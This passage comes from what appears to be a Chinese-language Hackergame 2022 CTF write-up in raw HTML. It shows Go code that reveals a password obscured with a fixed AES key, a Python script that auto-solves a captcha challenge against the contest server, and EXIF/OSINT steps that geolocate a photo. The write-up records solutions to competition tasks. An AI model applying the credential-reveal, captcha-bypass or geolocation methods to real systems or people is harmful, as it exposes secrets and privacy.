class=\"mh\">0x48<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x73<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x0a<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x55<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x4d<\/span><span class=\"p\">,<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"mh\">0x6b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xfd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x7c<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x63<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xc8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x86<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xa9<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x2b<\/span><span class=\"p\">,<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"mh\">0xd3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x90<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x19<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x8e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xb8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x12<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x8a<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xfb<\/span><span class=\"p\">,<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"mh\">0xf4<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xde<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x16<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x2b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x8b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x95<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xf6<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x38<\/span><span class=\"p\">,<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">cryptBlock<\/span><span class=\"w\"> <\/span><span class=\"nx\">cipher<\/span><span class=\"p\">.<\/span><span class=\"nx\">Block<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">cryptRand<\/span><span class=\"w\"> <\/span><span class=\"p\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">rand<\/span><span class=\"p\">.<\/span><span class=\"nx\">Reader<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ crypt transforms in to out using iv under AES-CTR.<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ in and out may be the same buffer.<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ Note encryption and decryption are the same operation<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">func<\/span><span class=\"w\"> <\/span><span class=\"nf\">crypt<\/span><span class=\"p\">(<\/span><span class=\"nx\">out<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">in<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">iv<\/span><span class=\"w\"> <\/span><span class=\"p\">[]<\/span><span class=\"kt\">byte<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"kt\">error<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nx\">cryptBlock<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"kc\">nil<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"kt\">error<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">cryptBlock<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"p\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">aes<\/span><span class=\"p\">.<\/span><span class=\"nf\">NewCipher<\/span><span class=\"p\">(<\/span><span class=\"nx\">cryptKey<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"kc\">nil<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">stream<\/span><span class=\"w\"> <\/span><span class=\"o\">:=<\/span><span class=\"w\"> <\/span><span class=\"nx\">cipher<\/span><span class=\"p\">.<\/span><span class=\"nf\">NewCTR<\/span><span class=\"p\">(<\/span><span class=\"nx\">cryptBlock<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">iv<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">stream<\/span><span class=\"p\">.<\/span><span class=\"nf\">XORKeyStream<\/span><span class=\"p\">(<\/span><span class=\"nx\">out<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">in<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"kc\">nil<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ Reveal an obscured value<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">func<\/span><span class=\"w\"> <\/span><span class=\"nf\">Reveal<\/span><span class=\"p\">(<\/span><span class=\"nx\">x<\/span><span class=\"w\"> <\/span><span class=\"kt\">string<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kt\">string<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">error<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">ciphertext<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"o\">:=<\/span><span class=\"w\"> <\/span><span class=\"nx\">base64<\/span><span class=\"p\">.<\/span><span class=\"nx\">RawURLEncoding<\/span><span class=\"p\">.<\/span><span class=\"nf\">DecodeString<\/span><span class=\"p\">(<\/span><span class=\"nx\">x<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"kc\">nil<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"s\">&#34;&#34;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">fmt<\/span><span class=\"p\">.<\/span><span class=\"nf\">Errorf<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;base64 decode failed when revealing password - is it obscured? %w&#34;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"nx\">ciphertext<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"nx\">aes<\/span><span class=\"p\">.<\/span><span class=\"nx\">BlockSize<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"s\">&#34;&#34;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">errors<\/span><span class=\"p\">.<\/span><span class=\"nf\">New<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;input too short when revealing password - is it obscured?&#34;<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">buf<\/span><span class=\"w\"> <\/span><span class=\"o\">:=<\/span><span class=\"w\"> <\/span><span class=\"nx\">ciphertext<\/span><span class=\"p\">[<\/span><span class=\"nx\">aes<\/span><span class=\"p\">.<\/span><span class=\"nx\">BlockSize<\/span><span class=\"p\">:]<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">iv<\/span><span class=\"w\"> <\/span><span class=\"o\">:=<\/span><span class=\"w\"> <\/span><span class=\"nx\">ciphertext<\/span><span class=\"p\">[:<\/span><span class=\"nx\">aes<\/span><span class=\"p\">.<\/span><span class=\"nx\">BlockSize<\/span><span class=\"p\">]<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"o\">:=<\/span><span class=\"w\"> <\/span><span class=\"nf\">crypt<\/span><span class=\"p\">(<\/span><span class=\"nx\">buf<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">buf<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">iv<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"kc\">nil<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"s\">&#34;&#34;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">fmt<\/span><span class=\"p\">.<\/span><span class=\"nf\">Errorf<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;decrypt failed when revealing password - is it obscured? %w&#34;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"nb\">string<\/span><span class=\"p\">(<\/span><span class=\"nx\">buf<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"kc\">nil<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ MustReveal reveals an obscured value, exiting with a fatal error if it failed<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">func<\/span><span class=\"w\"> <\/span><span class=\"nf\">MustReveal<\/span><span class=\"p\">(<\/span><span class=\"nx\">x<\/span><span class=\"w\"> <\/span><span class=\"kt\">string<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"kt\">string<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">out<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"o\">:=<\/span><span class=\"w\"> <\/span><span class=\"nf\">Reveal<\/span><span class=\"p\">(<\/span><span class=\"nx\">x<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"kc\">nil<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">log<\/span><span class=\"p\">.<\/span><span class=\"nf\">Fatalf<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;Reveal failed: %v&#34;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">err<\/span><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"nx\">out<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">func<\/span><span class=\"w\"> <\/span><span class=\"nf\">main<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">fmt<\/span><span class=\"p\">.<\/span><span class=\"nf\">Println<\/span><span class=\"p\">(<\/span><span class=\"nf\">MustReveal<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;YOUR PSEUDO-ENCRYPTED PASSWORD HERE&#34;<\/span><span class=\"p\">))<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span><span class=\"w\">\n<\/span><\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h2 id=\"heilang\">HeiLang\n<\/h2><p>\u628a\u9898\u76ee\u4e2d\u5b9a\u4e49\u7684\u6279\u91cf\u8d4b\u503c\u7684\u5f62\u5f0f\u8f6c\u6362\u6210\u5408\u6cd5\u7684 python \u4ee3\u7801\uff0c\u7136\u540e\u8fd0\u884c\u5c31\u80fd\u5f97\u5230 flag \u4e86\u3002<\/p>\n<p>\u7528\u4ee3\u7801\u7f16\u8f91\u5668 (\u6211\u7528\u7684\u662f Visual Studio Code) \u6b63\u5219\u8868\u8fbe\u5f0f\u67e5\u627e-\u66ff\u6362<\/p>\n<p>\u67e5\u627e <code>(\\d) \\| (\\d)<\/code><\/p>\n<p>\u66ff\u6362\u4e3a <code>$1] = a[$2<\/code><\/p>\n<p>\u66ff\u6362\u5b8c\u76f4\u63a5\u8fd0\u884c\uff0c\u4e00\u4e2a flag \u5c31\u51fa\u73b0\u5728\u4f60\u7684\u5c4f\u5e55\u4e0a\u4e86<\/p>\n<h2 id=\"xcaptcha\">Xcaptcha\n<\/h2><p>\u624b\u901f\u5feb\u7684\u8bdd\uff0c\u53ef\u4ee5\u76f4\u63a5\u624b\u7b97\u9a8c\u8bc1\u7801\uff0c\u7136\u540e\u63d0\u4ea4\u8868\u5355\u62ff\u5230 flag\u3002<\/p>\n<p>\u624b\u901f\u4e0d\u591f\u7684\u8bdd\uff0c\u5199\u4e2a\u811a\u672c\u89e3\u6790\u9875\u9762\u4e2d\u51fa\u73b0\u7684\u4e09\u9053\u52a0\u6cd5\u7b97\u6570\u9898\uff0c\u7b97\u51fa\u7b54\u6848\uff0c\u7136\u540e\u628a\u7b54\u6848\u63d0\u4ea4\u5230\u9898\u76ee\u4e2d\u7684\u8868\u5355\uff0c\u5c31\u80fd\u5f97\u5230 flag \u4e86\u3002<\/p>\n<p>\u4e0b\u9762\u662f\u6211\u5199\u7684\u4ee3\u7801\u3002\u6211\u76f4\u63a5\u7528\u6b63\u5219\u89e3\u6790\u7684 <del>\uff0c\u5927\u6982\u7528 BeautifulSoup \u4e4b\u7c7b\u7684\u5e93\u4e5f\u80fd\u89e3\u51b3<\/del> \u3002<strong>\u53d1\u9001http\u8bf7\u6c42\u9700\u8981\u7528 request.Session \u4e4b\u7c7b\u7684\u4e1c\u897f\u6765\u5904\u7406 cookie\uff0c\u4e0d\u7136\u4f1a\u62ff\u4e0d\u5230 flag<\/strong><\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\"> 1\n<\/span><span class=\"lnt\"> 2\n<\/span><span class=\"lnt\"> 3\n<\/span><span class=\"lnt\"> 4\n<\/span><span class=\"lnt\"> 5\n<\/span><span class=\"lnt\"> 6\n<\/span><span class=\"lnt\"> 7\n<\/span><span class=\"lnt\"> 8\n<\/span><span class=\"lnt\"> 9\n<\/span><span class=\"lnt\">10\n<\/span><span class=\"lnt\">11\n<\/span><span class=\"lnt\">12\n<\/span><span class=\"lnt\">13\n<\/span><span class=\"lnt\">14\n<\/span><span class=\"lnt\">15\n<\/span><span class=\"lnt\">16\n<\/span><span class=\"lnt\">17\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-python\" data-lang=\"python\"><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">re<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">requests<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">session<\/span> <span class=\"o\">=<\/span> <span class=\"n\">requests<\/span><span class=\"o\">.<\/span><span class=\"n\">Session<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">numbers<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"nb\">int<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">])<\/span> <span class=\"o\">+<\/span> <span class=\"nb\">int<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">])<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">re<\/span><span class=\"o\">.<\/span><span class=\"n\">findall<\/span><span class=\"p\">(<\/span><span class=\"sa\">r<\/span><span class=\"s1\">&#39;(\\d+)\\+(\\d+)&#39;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">session<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;http:\/\/202.38.93.111:10047\/xcaptcha&#39;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">cookies<\/span><span class=\"o\">=<\/span><span class=\"p\">{<\/span><span class=\"s1\">&#39;session&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;&lt;yorsession&gt;&#39;<\/span><span class=\"p\">})<\/span><span class=\"o\">.<\/span><span class=\"n\">text<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">re<\/span><span class=\"o\">.<\/span><span class=\"n\">M<\/span><span class=\"p\">)]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">session<\/span><span class=\"o\">.<\/span><span class=\"n\">post<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;http:\/\/202.38.93.111:10047\/xcaptcha&#39;<\/span><span class=\"p\">,<\/span> <span class=\"n\">data<\/span><span class=\"o\">=<\/span><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;captcha1&#39;<\/span><span class=\"p\">:<\/span> <span class=\"n\">numbers<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">],<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;captcha2&#39;<\/span><span class=\"p\">:<\/span> <span class=\"n\">numbers<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">],<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s1\">&#39;captcha3&#39;<\/span><span class=\"p\">:<\/span> <span class=\"n\">numbers<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">],<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">})<\/span><span class=\"o\">.<\/span><span class=\"n\">text<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h2 id=\"\u65c5\u884c\u7167\u7247-20\">\u65c5\u884c\u7167\u7247 2.0\n<\/h2><h3 id=\"\u7b2c\u4e00\u9898\u7167\u7247\u5206\u6790\">\u7b2c\u4e00\u9898\uff1a\u7167\u7247\u5206\u6790\n<\/h3><p>\u7528 exiftool \u4e4b\u7c7b\u7684\u5de5\u5177\u67e5\u770b\u7167\u7247\u7684 EXIF \u4fe1\u606f\u5c31\u80fd\u5f97\u5230\u7b54\u6848<\/p>\n<ol>\n<li>EXIF \u4fe1\u606f\u7684 <code>Exif Version<\/code> \u5b57\u6bb5\u4e3a <code>0231<\/code>, \u5bf9\u5e94\u7684 EXIF \u7248\u672c\u4e3a <code>2.31<\/code>\u3001<\/li>\n<li><code>Make<\/code> \u5b57\u6bb5\u4e3a <code>Xiaomi<\/code><\/li>\n<li><code>ISO<\/code> \u5b57\u6bb5\u4e3a <code>84<\/code><\/li>\n<li><code>Date\/Time Original<\/code> \u5b57\u6bb5\u4e3a <code>2022:05:14 18:23:35.220027+09:00<\/code><\/li>\n<li><code>Flash<\/code> \u5b57\u6bb5\u4e3a <code>Off, Did not fire<\/code><\/li>\n<\/ol>\n<h3 id=\"\u7b2c\u4e8c\u9898\u793e\u5de5\u5b9e\u8df5\">\u7b2c\u4e8c\u9898\uff1a\u793e\u5de5\u5b9e\u8df5\n<\/h3><h4 id=\"\u9152\u5e97\">\u9152\u5e97\n<\/h4><ol>\n<li>\n<p>EXIF \u4fe1\u606f\u91cc\u7684\u65f6\u533a\u662f\u4e1c\u4e5d\u533a\uff0c\u800c\u4e14\u7167\u7247\u4e2d\u5706\u5f62\u5efa\u7b51\u4e0a\u6709\u65e5\u8bed\uff0c\u731c\u6d4b\u7167\u7247\u62cd\u6444\u4e8e\u65e5\u672c\n<img alt=\"jp-word\" class=\"gallery-image\" data-flex-basis=\"417px\" data-flex-grow=\"174\" height=\"89\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/jp-word.png\" width=\"155\"><\/p>\n<p>\u641c\u7d22\u5706\u5f62\u5efa\u7b51\u7269\u4e0a\u51fa\u73b0\u7684 \u201czozo\u201d\u3001\u201cstadium\u201d \u7b49\u5b57\u6837\uff0c\u53ef\u4ee5\u786e\u5b9a\u7167\u7247\u4e2d\u7684\u5efa\u7b51\u7269\u662f\u4f4d\u4e8e\u65e5\u672c\u5343\u53f6\u53bf\u5343\u53f6\u5e02\u7f8e\u6ee8\u533a\u7684 <a class=\"link\" href=\"https:\/\/www.google.com.hk\/maps\/place\/ZOZO%E6%B5%B7%E6%B4%8B%E7%90%83%E5%9C%BA\/@35.6451583,140.0308307,15z\/data=!4m5!3m4!1s0x0:0x6df5d2c745778da9!8m2!3d35.6451583!4d140.0308307\" target=\"_blank\" rel=\"noopener\"\n >ZOZO\u6d77\u6d0b\u7403\u573a<\/a>\uff0c\u53ef\u4ee5\u4ece\u5730\u56fe\u4e0a\u770b\u5230\u8fd9\u4e2a\u5730\u70b9\u7684\u90ae\u653f\u7f16\u7801\u662f <code>261-0022<\/code><\/p>\n<\/li>\n<li>\n<p>\u7167\u7247 EXIF \u4fe1\u606f\u7684 <code>Camera Model Name<\/code> \u5b57\u6bb5\u662f <code>sm6115 (juice)<\/code>\uff0c\u641c\u7d22 \u201csm6115\u201d \u53d1\u73b0\u8fd9\u662f\u9a81\u9f99662\u5904\u7406\u5668\u7684\u4ee3\u53f7\uff0c\u4e8e\u662f\u641c\u7d22 \u201c\u9a81\u9f99662 \u5c0f\u7c73\u201d \u7684\u56fe\u7247\uff1a\n<img alt=\"xiaomi\" class=\"gallery-image\" data-flex-basis=\"247px\" data-flex-grow=\"102\" height=\"441\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/xiaomi-662.png\" width=\"454\"><\/p>\n<p>\u53d1\u73b0 \u201cRedmi Note 9 4G\u201d \u8fd9\u4e2a\u578b\u53f7\u7684\u624b\u673a\u7684\u76f8\u673a\u6a21\u7ec4\u548c\u7167\u7247\u4e2d\u7a97\u6237\u5012\u5f71\u7684\u624b\u673a \u5b8c \u5168 \u4e00 